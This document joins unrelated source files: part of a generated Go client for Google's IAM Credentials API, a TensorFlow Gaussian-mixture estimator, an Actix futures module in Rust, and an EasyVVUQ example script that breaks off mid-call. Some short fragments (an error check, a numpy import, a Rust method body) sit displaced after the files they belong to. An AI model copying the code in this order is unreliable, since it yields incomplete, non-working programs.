} return nil, &googleapi.Error{ Code: res.StatusCode, Header: res.Header, } } if err != nil { return nil, err } defer googleapi.CloseBody(res) if err := googleapi.CheckResponse(res); err != nil { return nil, err } ret := &GenerateAccessTokenResponse{ ServerResponse: googleapi.ServerResponse{ Header: res.Header, HTTPStatusCode: res.StatusCode, }, } target := &ret if err := gensupport.DecodeResponse(target, res); err != nil { return nil, err } return ret, nil // { // "description": "Generates an OAuth 2.0 access token for a service account.", // "flatPath": "v1/projects/{projectsId}/serviceAccounts/{serviceAccountsId}:generateAccessToken", // "httpMethod": "POST", // "id": "iamcredentials.projects.serviceAccounts.generateAccessToken", // "parameterOrder": [ // "name" // ], // "parameters": { // "name": { // "description": "Required. The resource name of the service account for which the credentials are requested, in the following format: `projects/-/serviceAccounts/{ACCOUNT_EMAIL_OR_UNIQUEID}`. The `-` wildcard character is required; replacing it with a project ID is invalid.", // "location": "path", // "pattern": "^projects/[^/]+/serviceAccounts/[^/]+$", // "required": true, // "type": "string" // } // }, // "path": "v1/{+name}:generateAccessToken", // "request": { // "$ref": "GenerateAccessTokenRequest" // }, // "response": { // "$ref": "GenerateAccessTokenResponse" // }, // "scopes": [ // "https://www.googleapis.com/auth/cloud-platform" // ] // } } // method id "iamcredentials.projects.serviceAccounts.generateIdToken": type ProjectsServiceAccountsGenerateIdTokenCall struct { s *Service name string generateidtokenrequest *GenerateIdTokenRequest urlParams_ gensupport.URLParams ctx_ context.Context header_ http.Header } // GenerateIdToken: Generates an OpenID Connect ID token for a service // account. func (r *ProjectsServiceAccountsService) GenerateIdToken(name string, generateidtokenrequest *GenerateIdTokenRequest) *ProjectsServiceAccountsGenerateIdTokenCall { c := &ProjectsServiceAccountsGenerateIdTokenCall{s: r.s, urlParams_: make(gensupport.URLParams)} c.name = name c.generateidtokenrequest = generateidtokenrequest return c } // Fields allows partial responses to be retrieved. See // https://developers.google.com/gdata/docs/2.0/basics#PartialResponse // for more information. func (c *ProjectsServiceAccountsGenerateIdTokenCall) Fields(s ...googleapi.Field) *ProjectsServiceAccountsGenerateIdTokenCall { c.urlParams_.Set("fields", googleapi.CombineFields(s)) return c } // Context sets the context to be used in this call's Do method. Any // pending HTTP request will be aborted if the provided context is // canceled. func (c *ProjectsServiceAccountsGenerateIdTokenCall) Context(ctx context.Context) *ProjectsServiceAccountsGenerateIdTokenCall { c.ctx_ = ctx return c } // Header returns an http.Header that can be modified by the caller to // add HTTP headers to the request. func (c *ProjectsServiceAccountsGenerateIdTokenCall) Header() http.Header { if c.header_ == nil { c.header_ = make(http.Header) } return c.header_ } func (c *ProjectsServiceAccountsGenerateIdTokenCall) doRequest(alt string) (*http.Response, error) { reqHeaders := make(http.Header) reqHeaders.Set("x-goog-api-client", "gl-go/"+gensupport.GoVersion()+" gdcl/20201103") for k, v := range c.header_ { reqHeaders[k] = v } reqHeaders.Set("User-Agent", c.s.userAgent()) var body io.Reader = nil body, err := googleapi.WithoutDataWrapper.JSONReader(c.generateidtokenrequest)
reqHeaders.Set("Content-Type", "application/json") c.urlParams_.Set("alt", alt) c.urlParams_.Set("prettyPrint", "false") urls := googleapi.ResolveRelative(c.s.BasePath, "v1/{+name}:generateIdToken") urls += "?" + c.urlParams_.Encode() req, err := http.NewRequest("POST", urls, body) if err != nil { return nil, err } req.Header = reqHeaders googleapi.Expand(req.URL, map[string]string{ "name": c.name, }) return gensupport.SendRequest(c.ctx_, c.s.client, req) } // Do executes the "iamcredentials.projects.serviceAccounts.generateIdToken" call. // Exactly one of *GenerateIdTokenResponse or error will be non-nil. Any // non-2xx status code is an error. Response headers are in either // *GenerateIdTokenResponse.ServerResponse.Header or (if a response was // returned at all) in error.(*googleapi.Error).Header. Use // googleapi.IsNotModified to check whether the returned error was // because http.StatusNotModified was returned. func (c *ProjectsServiceAccountsGenerateIdTokenCall) Do(opts ...googleapi.CallOption) (*GenerateIdTokenResponse, error) { gensupport.SetOptions(c.urlParams_, opts...) res, err := c.doRequest("json") if res != nil && res.StatusCode == http.StatusNotModified { if res.Body != nil { res.Body.Close() } return nil, &googleapi.Error{ Code: res.StatusCode, Header: res.Header, } } if err != nil { return nil, err } defer googleapi.CloseBody(res) if err := googleapi.CheckResponse(res); err != nil { return nil, err } ret := &GenerateIdTokenResponse{ ServerResponse: googleapi.ServerResponse{ Header: res.Header, HTTPStatusCode: res.StatusCode, }, } target := &ret if err := gensupport.DecodeResponse(target, res); err != nil { return nil, err } return ret, nil // { // "description": "Generates an OpenID Connect ID token for a service account.", // "flatPath": "v1/projects/{projectsId}/serviceAccounts/{serviceAccountsId}:generateIdToken", // "httpMethod": "POST", // "id": "iamcredentials.projects.serviceAccounts.generateIdToken", // "parameterOrder": [ // "name" // ], // "parameters": { // "name": { // "description": "Required. The resource name of the service account for which the credentials are requested, in the following format: `projects/-/serviceAccounts/{ACCOUNT_EMAIL_OR_UNIQUEID}`. The `-` wildcard character is required; replacing it with a project ID is invalid.", // "location": "path", // "pattern": "^projects/[^/]+/serviceAccounts/[^/]+$", // "required": true, // "type": "string" // } // }, // "path": "v1/{+name}:generateIdToken", // "request": { // "$ref": "GenerateIdTokenRequest" // }, // "response": { // "$ref": "GenerateIdTokenResponse" // }, // "scopes": [ // "https://www.googleapis.com/auth/cloud-platform" // ] // } } // method id "iamcredentials.projects.serviceAccounts.signBlob": type ProjectsServiceAccountsSignBlobCall struct { s *Service name string signblobrequest *SignBlobRequest urlParams_ gensupport.URLParams ctx_ context.Context header_ http.Header } // SignBlob: Signs a blob using a service account's system-managed // private key. func (r *ProjectsServiceAccountsService) SignBlob(name string, signblobrequest *SignBlobRequest) *ProjectsServiceAccountsSignBlobCall { c := &ProjectsServiceAccountsSignBlobCall{s: r.s, urlParams_: make(gensupport.URLParams)} c.name = name c.signblobrequest = signblobrequest return c } // Fields allows partial responses to be retrieved. See // https://developers.google.com/gdata/docs/2.0/basics#PartialResponse // for more information. func (c *ProjectsServiceAccountsSignBlobCall) Fields(s ...googleapi.Field) *ProjectsServiceAccountsSignBlobCall { c.urlParams_.Set("fields", googleapi.CombineFields(s)) return c } // Context sets the context to be used in this call's Do method. Any // pending HTTP request will be aborted if the provided context is // canceled. func (c *ProjectsServiceAccountsSignBlobCall) Context(ctx context.Context) *ProjectsServiceAccountsSignBlobCall { c.ctx_ = ctx return c } // Header returns an http.Header that can be modified by the caller to // add HTTP headers to the request. func (c *ProjectsServiceAccountsSignBlobCall) Header() http.Header { if c.header_ == nil { c.header_ = make(http.Header) } return c.header_ } func (c *ProjectsServiceAccountsSignBlobCall) doRequest(alt string) (*http.Response, error) { reqHeaders := make(http.Header) reqHeaders.Set("x-goog-api-client", "gl-go/"+gensupport.GoVersion()+" gdcl/20201103") for k, v := range c.header_ { reqHeaders[k] = v } reqHeaders.Set("User-Agent", c.s.userAgent()) var body io.Reader = nil body, err := googleapi.WithoutDataWrapper.JSONReader(c.signblobrequest) if err != nil { return nil, err } reqHeaders.Set("Content-Type", "application/json") c.urlParams_.Set("alt", alt) c.urlParams_.Set("prettyPrint", "false") urls := googleapi.ResolveRelative(c.s.BasePath, "v1/{+name}:signBlob") urls += "?" + c.urlParams_.Encode() req, err := http.NewRequest("POST", urls, body) if err != nil { return nil, err } req.Header = reqHeaders googleapi.Expand(req.URL, map[string]string{ "name": c.name, }) return gensupport.SendRequest(c.ctx_, c.s.client, req) } // Do executes the "iamcredentials.projects.serviceAccounts.signBlob" call. // Exactly one of *SignBlobResponse or error will be non-nil. Any // non-2xx status code is an error. Response headers are in either // *SignBlobResponse.ServerResponse.Header or (if a response was // returned at all) in error.(*googleapi.Error).Header. Use // googleapi.IsNotModified to check whether the returned error was // because http.StatusNotModified was returned. func (c *ProjectsServiceAccountsSignBlobCall) Do(opts ...googleapi.CallOption) (*SignBlobResponse, error) { gensupport.SetOptions(c.urlParams_, opts...) res, err := c.doRequest("json") if res != nil && res.StatusCode == http.StatusNotModified { if res.Body != nil { res.Body.Close() } return nil, &googleapi.Error{ Code: res.StatusCode, Header: res.Header, } } if err != nil { return nil, err } defer googleapi.CloseBody(res) if err := googleapi.CheckResponse(res); err != nil { return nil, err } ret := &SignBlobResponse{ ServerResponse: googleapi.ServerResponse{ Header: res.Header, HTTPStatusCode: res.StatusCode, }, } target := &ret if err := gensupport.DecodeResponse(target, res); err != nil { return nil, err } return ret, nil // { // "description": "Signs a blob using a service account's system-managed private key.", // "flatPath": "v1/projects/{projectsId}/serviceAccounts/{serviceAccountsId}:signBlob", // "httpMethod": "POST", // "id": "iamcredentials.projects.serviceAccounts.signBlob", // "parameterOrder": [ // "name" // ], // "parameters": { // "name": { // "description": "Required. The resource name of the service account for which the credentials are requested, in the following format: `projects/-/serviceAccounts/{ACCOUNT_EMAIL_OR_UNIQUEID}`. The `-` wildcard character is required; replacing it with a project ID is invalid.", // "location": "path", // "pattern": "^projects/[^/]+/serviceAccounts/[^/]+$", // "required": true, // "type": "string" // } // }, // "path": "v1/{+name}:signBlob", // "request": { // "$ref": "SignBlobRequest" // }, // "response": { // "$ref": "SignBlobResponse" // }, // "scopes": [ // "https://www.googleapis.com/auth/cloud-platform" // ] // } } // method id "iamcredentials.projects.serviceAccounts.signJwt": type ProjectsServiceAccountsSignJwtCall struct { s *Service name string signjwtrequest *SignJwtRequest urlParams_ gensupport.URLParams ctx_ context.Context header_ http.Header } // SignJwt: Signs a JWT using a service account's system-managed private // key. func (r *ProjectsServiceAccountsService) SignJwt(name string, signjwtrequest *SignJwtRequest) *ProjectsServiceAccountsSignJwtCall { c := &ProjectsServiceAccountsSignJwtCall{s: r.s, urlParams_: make(gensupport.URLParams)} c.name = name c.signjwtrequest = signjwtrequest return c } // Fields allows partial responses to be retrieved. See // https://developers.google.com/gdata/docs/2.0/basics#PartialResponse // for more information. func (c *ProjectsServiceAccountsSignJwtCall) Fields(s ...googleapi.Field) *ProjectsServiceAccountsSignJwtCall { c.urlParams_.Set("fields", googleapi.CombineFields(s)) return c } // Context sets the context to be used in this call's Do method. Any // pending HTTP request will be aborted if the provided context is // canceled. func (c *ProjectsServiceAccountsSignJwtCall) Context(ctx context.Context) *ProjectsServiceAccountsSignJwtCall { c.ctx_ = ctx return c } // Header returns an http.Header that can be modified by the caller to // add HTTP headers to the request. func (c *ProjectsServiceAccountsSignJwtCall) Header() http.Header { if c.header_ == nil { c.header_ = make(http.Header) } return c.header_ } func (c *ProjectsServiceAccountsSignJwtCall) doRequest(alt string) (*http.Response, error) { reqHeaders := make(http.Header) reqHeaders.Set("x-goog-api-client", "gl-go/"+gensupport.GoVersion()+" gdcl/20201103") for k, v := range c.header_ { reqHeaders[k] = v } reqHeaders.Set("User-Agent", c.s.userAgent()) var body io.Reader = nil body, err := googleapi.WithoutDataWrapper.JSONReader(c.signjwtrequest) if err != nil { return nil, err } reqHeaders.Set("Content-Type", "application/json") c.urlParams_.Set("alt", alt) c.urlParams_.Set("prettyPrint", "false") urls := googleapi.ResolveRelative(c.s.BasePath, "v1/{+name}:signJwt") urls += "?" + c.urlParams_.Encode() req, err := http.NewRequest("POST", urls, body) if err != nil { return nil, err } req.Header = reqHeaders googleapi.Expand(req.URL, map[string]string{ "name": c.name, }) return gensupport.SendRequest(c.ctx_, c.s.client, req) } // Do executes the "iamcredentials.projects.serviceAccounts.signJwt" call. // Exactly one of *SignJwtResponse or error will be non-nil. Any non-2xx // status code is an error. Response headers are in either // *SignJwtResponse.ServerResponse.Header or (if a response was returned // at all) in error.(*googleapi.Error).Header. Use // googleapi.IsNotModified to check whether the returned error was // because http.StatusNotModified was returned. func (c *ProjectsServiceAccountsSignJwtCall) Do(opts ...googleapi.CallOption) (*SignJwtResponse, error) { gensupport.SetOptions(c.urlParams_, opts...) res, err := c.doRequest("json") if res != nil && res.StatusCode == http.StatusNotModified { if res.Body != nil { res.Body.Close() } return nil, &googleapi.Error{ Code: res.StatusCode, Header: res.Header, } } if err != nil { return nil, err } defer googleapi.CloseBody(res) if err := googleapi.CheckResponse(res); err != nil { return nil, err } ret := &SignJwtResponse{ ServerResponse: googleapi.ServerResponse{ Header: res.Header, HTTPStatusCode: res.StatusCode, }, } target := &ret if err := gensupport.DecodeResponse(target, res); err != nil { return nil, err } return ret, nil // { // "description": "Signs a JWT using a service account's system-managed private key.", // "flatPath": "v1/projects/{projectsId}/serviceAccounts/{serviceAccountsId}:signJwt", // "httpMethod": "POST", // "id": "iamcredentials.projects.serviceAccounts.signJwt", // "parameterOrder": [ // "name" // ], // "parameters": { // "name": { // "description": "Required. The resource name of the service account for which the credentials are requested, in the following format: `projects/-/serviceAccounts/{ACCOUNT_EMAIL_OR_UNIQUEID}`. The `-` wildcard character is required; replacing it with a project ID is invalid.", // "location": "path", // "pattern": "^projects/[^/]+/serviceAccounts/[^/]+$", // "required": true, // "type": "string" // } // }, // "path": "v1/{+name}:signJwt", // "request": { // "$ref": "SignJwtRequest" // }, // "response": { // "$ref": "SignJwtResponse" // }, // "scopes": [ // "https://www.googleapis.com/auth/cloud-platform" // ] // } }
if err != nil { return nil, err }
gmm.py
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Implementation of Gaussian mixture model (GMM) clustering using tf.Learn.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import time
from tensorflow.contrib import framework from tensorflow.contrib.factorization.python.ops import gmm_ops from tensorflow.contrib.framework.python.framework import checkpoint_utils from tensorflow.python.training import training_util from tensorflow.contrib.learn.python.learn.estimators import estimator from tensorflow.contrib.learn.python.learn.estimators import model_fn as model_fn_lib from tensorflow.python.framework import constant_op from tensorflow.python.framework import ops from tensorflow.python.ops import array_ops from tensorflow.python.ops import logging_ops as logging from tensorflow.python.ops import math_ops from tensorflow.python.ops import state_ops from tensorflow.python.ops.control_flow_ops import with_dependencies from tensorflow.python.training import session_run_hook def _streaming_sum(scalar_tensor): """Create a sum metric and update op.""" sum_metric = framework.local_variable(constant_op.constant(0.0)) sum_update = sum_metric.assign_add(scalar_tensor) return sum_metric, sum_update class _InitializeClustersHook(session_run_hook.SessionRunHook): """Initializes clusters or waits for cluster initialization.""" def __init__(self, init_op, is_initialized_op, is_chief): self._init_op = init_op self._is_chief = is_chief self._is_initialized_op = is_initialized_op def after_create_session(self, session, _): assert self._init_op.graph == ops.get_default_graph() assert self._is_initialized_op.graph == self._init_op.graph while True: try: if session.run(self._is_initialized_op): break elif self._is_chief: session.run(self._init_op) else: time.sleep(1) except RuntimeError as e: logging.info(e) class GMM(estimator.Estimator): """An estimator for GMM clustering.""" SCORES = 'scores' ASSIGNMENTS = 'assignments' ALL_SCORES = 'all_scores' def __init__(self, num_clusters, model_dir=None, random_seed=0, params='wmc', initial_clusters='random', covariance_type='full', config=None): """Creates a model for running GMM training and inference. Args: num_clusters: number of clusters to train. model_dir: the directory to save the model results and log files. random_seed: Python integer. Seed for PRNG used to initialize centers. params: Controls which parameters are updated in the training process. Can contain any combination of "w" for weights, "m" for means, and "c" for covars. initial_clusters: specifies how to initialize the clusters for training. See gmm_ops.gmm for the possible values. covariance_type: one of "full", "diag". config: See Estimator """ self._num_clusters = num_clusters self._params = params self._training_initial_clusters = initial_clusters self._covariance_type = covariance_type self._training_graph = None self._random_seed = random_seed super(GMM, self).__init__( model_fn=self._model_builder(), model_dir=model_dir, config=config) def predict_assignments(self, input_fn=None, batch_size=None, outputs=None): """See BaseEstimator.predict.""" results = self.predict(input_fn=input_fn, batch_size=batch_size, outputs=outputs) for result in results: yield result[GMM.ASSIGNMENTS] def score(self, input_fn=None, batch_size=None, steps=None): """Predict total sum of distances to nearest clusters. Note that this function is different from the corresponding one in sklearn which returns the negative of the sum of distances. Args: input_fn: see predict. batch_size: see predict. steps: see predict. Returns: Total sum of distances to nearest clusters. """ results = self.evaluate(input_fn=input_fn, batch_size=batch_size, steps=steps) return np.sum(results[GMM.SCORES]) def weights(self): """Returns the cluster weights.""" return checkpoint_utils.load_variable( self.model_dir, gmm_ops.GmmAlgorithm.CLUSTERS_WEIGHT) def clusters(self): """Returns cluster centers.""" clusters = checkpoint_utils.load_variable( self.model_dir, gmm_ops.GmmAlgorithm.CLUSTERS_VARIABLE) return np.squeeze(clusters, 1) def covariances(self): """Returns the covariances.""" return checkpoint_utils.load_variable( self.model_dir, gmm_ops.GmmAlgorithm.CLUSTERS_COVS_VARIABLE) def _parse_tensor_or_dict(self, features): if isinstance(features, dict): return array_ops.concat([features[k] for k in sorted(features.keys())], 1) return features def _model_builder(self): """Creates a model function.""" def _model_fn(features, labels, mode, config): """Model function.""" assert labels is None, labels (all_scores, model_predictions, losses, training_op, init_op, is_initialized) = gmm_ops.gmm(self._parse_tensor_or_dict(features), self._training_initial_clusters, self._num_clusters, self._random_seed, self._covariance_type, self._params) incr_step = state_ops.assign_add(training_util.get_global_step(), 1) loss = math_ops.reduce_sum(losses) training_op = with_dependencies([training_op, incr_step], loss) training_hooks = [_InitializeClustersHook( init_op, is_initialized, config.is_chief)] predictions = { GMM.ALL_SCORES: all_scores[0], GMM.ASSIGNMENTS: model_predictions[0][0], } eval_metric_ops = { GMM.SCORES: _streaming_sum(loss), } return model_fn_lib.ModelFnOps(mode=mode, predictions=predictions, eval_metric_ops=eval_metric_ops, loss=loss, train_op=training_op, training_hooks=training_hooks) return _model_fn
import numpy as np
mod.rs
//! Custom `Future` implementation with `Actix` support use std::marker::PhantomData; use std::task::{Context, Poll}; use std::time::Duration; use futures_util::{future::Future, stream::Stream}; use pin_project::pin_project; mod chain; mod either; mod helpers; mod map; mod ready_fut; mod result; mod stream_finish; mod stream_fold; mod stream_map; mod stream_then; mod stream_timeout; mod then; mod timeout; pub use self::either::Either; pub use self::helpers::{Finish, FinishStream}; pub use self::map::Map; pub use self::ready_fut::{ready, Ready}; pub use self::result::{err, ok, result, FutureResult}; pub use self::stream_finish::StreamFinish; pub use self::stream_fold::StreamFold; pub use self::stream_map::StreamMap; pub use self::stream_then::StreamThen; pub use self::stream_timeout::StreamTimeout; pub use self::then::Then; pub use self::timeout::Timeout; use crate::actor::Actor; use std::pin::Pin; /// Trait for types which are a placeholder of a value that may become /// available at some later point in time. /// /// `ActorFuture` is very similar to a regular `Future`, only with subsequent combinator closures accepting the actor and its context, in addition to the result. /// /// `ActorFuture` allows for use cases where future processing requires access to the actor or its context. /// /// Here is an example of a handler on a single actor, deferring work to another actor, and /// then updating the initiating actor's state: /// /// ```rust,no_run /// use actix::prelude::*; /// /// // The response type returned by the actor future /// type OriginalActorResponse = (); /// // The error type returned by the actor future /// type MessageError = (); /// // This is the needed result for the DeferredWork message /// // It's a result that combine both Response and Error from the future response. /// type DeferredWorkResult = Result<OriginalActorResponse, MessageError>; /// # /// # struct ActorState {} /// # /// # impl ActorState { /// # fn update_from(&mut self, _result: ()) {} /// # } /// # /// # struct OtherActor {} /// # /// # impl Actor for OtherActor { /// # type Context = Context<Self>; /// # } /// # /// # impl Handler<OtherMessage> for OtherActor { /// # type Result = (); /// # /// # fn handle(&mut self, _msg: OtherMessage, _ctx: &mut Context<Self>) -> Self::Result { /// # } /// # } /// # /// # struct OriginalActor{ /// # other_actor: Addr<OtherActor>, /// # inner_state: ActorState /// # } /// # /// # impl Actor for OriginalActor{ /// # type Context = Context<Self>; /// # } /// # /// # #[derive(Message)] /// # #[rtype(result = "Result<(), MessageError>")] /// # struct DeferredWork{} /// # /// # #[derive(Message)] /// # #[rtype(result = "()")] /// # struct OtherMessage{} /// /// impl Handler<DeferredWork> for OriginalActor { /// // Notice the `Response` is an `ActorFuture`-ized version of `Self::Message::Result`. /// type Result = ResponseActFuture<Self, Result<OriginalActorResponse, MessageError>>; /// /// fn handle(&mut self, _msg: DeferredWork, _ctx: &mut Context<Self>) -> Self::Result { /// // this creates a `Future` representing the `.send` and subsequent `Result` from /// // `other_actor` /// let send_to_other = self.other_actor /// .send(OtherMessage {}); /// /// // Wrap that `Future` so subsequent chained handlers can access /// // the `actor` (`self` in the synchronous code) as well as the context. /// let send_to_other = actix::fut::wrap_future::<_, Self>(send_to_other); /// /// // once the wrapped future resolves, update this actor's state /// let update_self = send_to_other.map(|result, actor, _ctx| { /// // Actor's state updated here /// match result { /// Ok(v) => { /// actor.inner_state.update_from(v); /// Ok(()) /// }, /// // Failed to send message to other_actor /// Err(_e) => Err(()), /// } /// }); /// /// // return the wrapped future /// Box::pin(update_self) /// } /// } /// /// ``` /// /// See also [into_actor](trait.WrapFuture.html#tymethod.into_actor), which provides future conversion using trait pub trait ActorFuture { /// The type of value that this future will resolved with if it is /// successful. type Output; /// The actor within which this future runs type Actor: Actor; fn poll( self: Pin<&mut Self>, srv: &mut Self::Actor, ctx: &mut <Self::Actor as Actor>::Context, task: &mut Context<'_>, ) -> Poll<Self::Output>; /// Map this future's result to a different type, returning a new future of /// the resulting type. fn map<F, U>(self, f: F) -> Map<Self, F> where F: FnOnce( Self::Output, &mut Self::Actor, &mut <Self::Actor as Actor>::Context, ) -> U, Self: Sized,
/// Chain on a computation for when a future finished, passing the result of /// the future to the provided closure `f`. fn then<F, B>(self, f: F) -> Then<Self, B, F> where F: FnOnce( Self::Output, &mut Self::Actor, &mut <Self::Actor as Actor>::Context, ) -> B, B: IntoActorFuture<Actor = Self::Actor>, Self: Sized, { then::new(self, f) } /// Add timeout to futures chain. /// /// `err` value get returned as a timeout error. fn timeout(self, timeout: Duration) -> Timeout<Self> where Self: Sized, { timeout::new(self, timeout) } } /// A stream of values, not all of which may have been produced yet. /// /// This is similar to `futures_util::stream::Stream` trait, except it works with `Actor` pub trait ActorStream { /// The type of item this stream will yield on success. type Item; /// The actor within which this stream runs. type Actor: Actor; fn poll_next( self: Pin<&mut Self>, srv: &mut Self::Actor, ctx: &mut <Self::Actor as Actor>::Context, task: &mut Context<'_>, ) -> Poll<Option<Self::Item>>; /// Converts a stream of type `T` to a stream of type `U`. fn map<U, F>(self, f: F) -> StreamMap<Self, F> where F: FnMut( Self::Item, &mut Self::Actor, &mut <Self::Actor as Actor>::Context, ) -> U, Self: Sized, { stream_map::new(self, f) } /// Chain on a computation for when a value is ready, passing the resulting /// item to the provided closure `f`. fn then<F, U>(self, f: F) -> StreamThen<Self, F, U> where F: FnMut( Self::Item, &mut Self::Actor, &mut <Self::Actor as Actor>::Context, ) -> U, U: IntoActorFuture<Actor = Self::Actor>, Self: Unpin + Sized, { stream_then::new(self, f) } /// Execute an accumulating computation over a stream, collecting all the /// values into one final result. fn fold<F, T, Fut>(self, init: T, f: F) -> StreamFold<Self, F, Fut, T> where F: FnMut( T, Self::Item, &mut Self::Actor, &mut <Self::Actor as Actor>::Context, ) -> Fut, Fut: IntoActorFuture<Actor = Self::Actor, Output = T>, Self: Sized, { stream_fold::new(self, f, init) } /// Add timeout to stream. /// /// `err` value get returned as a timeout error. fn timeout(self, timeout: Duration) -> StreamTimeout<Self> where Self: Sized + Unpin, { stream_timeout::new(self, timeout) } /// Converts a stream to a future that resolves when stream finishes. fn finish(self) -> StreamFinish<Self> where Self: Sized + Unpin, { stream_finish::new(self) } } /// Class of types which can be converted into an actor future. /// /// This trait is very similar to the `IntoIterator` trait and is intended to be /// used in a very similar fashion. pub trait IntoActorFuture { /// The future that this type can be converted into. type Future: ActorFuture<Output = Self::Output, Actor = Self::Actor>; /// The item that the future may resolve with. type Output; /// The actor within which this future runs type Actor: Actor; /// Consumes this object and produces a future. fn into_future(self) -> Self::Future; } impl<F: ActorFuture> IntoActorFuture for F { type Future = F; type Output = F::Output; type Actor = F::Actor; fn into_future(self) -> F { self } } impl<F: ActorFuture + Unpin + ?Sized> ActorFuture for Box<F> { type Output = F::Output; type Actor = F::Actor; fn poll( mut self: Pin<&mut Self>, srv: &mut Self::Actor, ctx: &mut <Self::Actor as Actor>::Context, task: &mut Context<'_>, ) -> Poll<Self::Output> { Pin::new(&mut **self.as_mut()).poll(srv, ctx, task) } } impl<P> ActorFuture for Pin<P> where P: Unpin + std::ops::DerefMut, <P as std::ops::Deref>::Target: ActorFuture, { type Output = <<P as std::ops::Deref>::Target as ActorFuture>::Output; type Actor = <<P as std::ops::Deref>::Target as ActorFuture>::Actor; fn poll( self: Pin<&mut Self>, srv: &mut Self::Actor, ctx: &mut <Self::Actor as Actor>::Context, task: &mut Context<'_>, ) -> Poll<Self::Output> { Pin::get_mut(self).as_mut().poll(srv, ctx, task) } } /// Helper trait that allows conversion of normal future into `ActorFuture` pub trait WrapFuture<A> where A: Actor, { /// The future that this type can be converted into. type Future: ActorFuture<Output = Self::Output, Actor = A>; /// The item that the future may resolve with. type Output; #[doc(hidden)] fn actfuture(self) -> Self::Future; /// Convert normal future to a ActorFuture fn into_actor(self, a: &A) -> Self::Future; } impl<F: Future, A: Actor> WrapFuture<A> for F { type Future = FutureWrap<F, A>; type Output = F::Output; #[doc(hidden)] fn actfuture(self) -> Self::Future { wrap_future(self) } fn into_actor(self, _: &A) -> Self::Future { wrap_future(self) } } #[pin_project] pub struct FutureWrap<F, A> where F: Future, { #[pin] fut: F, act: PhantomData<A>, } /// Converts normal future into `ActorFuture`, allowing its processing to /// use the actor's state. /// /// See the documentation for [ActorFuture](trait.ActorFuture.html) for a practical example involving both /// `wrap_future` and `ActorFuture` pub fn wrap_future<F, A>(f: F) -> FutureWrap<F, A> where F: Future, { FutureWrap { fut: f, act: PhantomData, } } impl<F, A> ActorFuture for FutureWrap<F, A> where F: Future, A: Actor, { type Output = F::Output; type Actor = A; fn poll( self: Pin<&mut Self>, _: &mut Self::Actor, _: &mut <Self::Actor as Actor>::Context, task: &mut Context<'_>, ) -> Poll<Self::Output> { self.project().fut.poll(task) } } /// Helper trait that allows conversion of normal stream into `ActorStream` pub trait WrapStream<A> where A: Actor, { /// The stream that this type can be converted into. type Stream: ActorStream<Item = Self::Item, Actor = A>; /// The item that the future may resolve with. type Item; #[doc(hidden)] fn actstream(self) -> Self::Stream; /// Convert normal stream to a ActorStream fn into_actor(self, a: &A) -> Self::Stream; } impl<S: Stream + Unpin, A: Actor> WrapStream<A> for S { type Stream = StreamWrap<S, A>; type Item = S::Item; #[doc(hidden)] fn actstream(self) -> Self::Stream { wrap_stream(self) } fn into_actor(self, _: &A) -> Self::Stream { wrap_stream(self) } } #[pin_project] pub struct StreamWrap<S, A> where S: Stream, { #[pin] st: S, act: PhantomData<A>, } /// Converts normal stream into `ActorStream` pub fn wrap_stream<S, A>(s: S) -> StreamWrap<S, A> where S: Stream, { StreamWrap { st: s, act: PhantomData, } } impl<S, A> ActorStream for StreamWrap<S, A> where S: Stream, A: Actor, { type Item = S::Item; type Actor = A; fn poll_next( self: Pin<&mut Self>, _: &mut Self::Actor, _: &mut <Self::Actor as Actor>::Context, task: &mut Context<'_>, ) -> Poll<Option<Self::Item>> { self.project().st.poll_next(task) } }
{ map::new(self, f) }
example_restartable_sc_adaptive.py
#!/usr/bin/env python3 import argparse import boutvecma import easyvvuq as uq import chaospy import os import numpy as np import time import matplotlib.pyplot as plt CAMPAIGN_NAME = "Conduction." def refine_sampling_plan(campaign, analysis, number_of_refinements): """ Refine the sampling plan. Parameters ---------- number_of_refinements (int) The number of refinement iterations that must be performed. Returns ------- None. The new accepted indices are stored in analysis.l_norm and the admissible indices in sampler.admissible_idx. """ sampler = campaign.get_active_sampler() for _ in range(number_of_refinements): # compute the admissible indices sampler.look_ahead(analysis.l_norm) print(f"Code will be evaluated {sampler.n_new_points[-1]} times") # run the ensemble campaign.execute().collate(progress_bar=True) # accept one of the multi indices of the new admissible set data_frame = campaign.get_collation_result() analysis.adapt_dimension("T", data_frame) analysis.save_state(f"{campaign.campaign_dir}/analysis.state") def plot_grid_2D(campaign, analysis, i, filename="out.pdf"): fig = plt.figure(figsize=[12, 4]) ax1 = fig.add_subplot(121) ax2 = fig.add_subplot(122) accepted_grid = campaign.get_active_sampler().generate_grid(analysis.l_norm) ax1.plot(accepted_grid[:, 0], accepted_grid[:, 1], "o") ax2.plot(accepted_grid[:, 2], accepted_grid[:, 3], "o") ax1.set_title(f"iteration {i}") fig.tight_layout() fig.savefig(filename) def custom_moments_plot(results, filename, i): fig, ax = plt.subplots() xvalues = np.arange(len(results.describe("T", "mean"))) ax.fill_between( xvalues, results.describe("T", "mean") - results.describe("T", "std"), results.describe("T", "mean") + results.describe("T", "std"), label="std", alpha=0.2, ) ax.plot(xvalues, results.describe("T", "mean"), label="mean") try: ax.plot(xvalues, results.describe("T", "1%"), "--", label="1%", color="black") ax.plot(xvalues, results.describe("T", "99%"), "--", label="99%", color="black") except RuntimeError: pass ax.grid(True) ax.set_ylabel("T") ax.set_xlabel(r"$\rho$") ax.set_title("iteration " + str(i)) ax.legend() fig.savefig(filename) def first_time_setup(): encoder = boutvecma.BOUTEncoder( template_input="../../models/conduction/data/BOUT.inp" ) # decoder = boutvecma.LogDataBOUTDecoder(variables=["T"]) decoder = boutvecma.SimpleBOUTDecoder(variables=["T"]) params = { "conduction:chi": {"type": "float", "min": 0.0, "max": 1e3, "default": 1.0}, "T:scale": {"type": "float", "min": 0.0, "max": 1e3, "default": 1.0}, "T:gauss_width": {"type": "float", "min": 0.0, "max": 1e3, "default": 0.2}, "T:gauss_centre": { "type": "float", "min": 0.0, "max": 2 * np.pi, "default": np.pi, }, } actions = uq.actions.local_execute( encoder, os.path.abspath( "../../build/models/conduction/conduction -q -q -q -q -d . |& tee run.log" ),
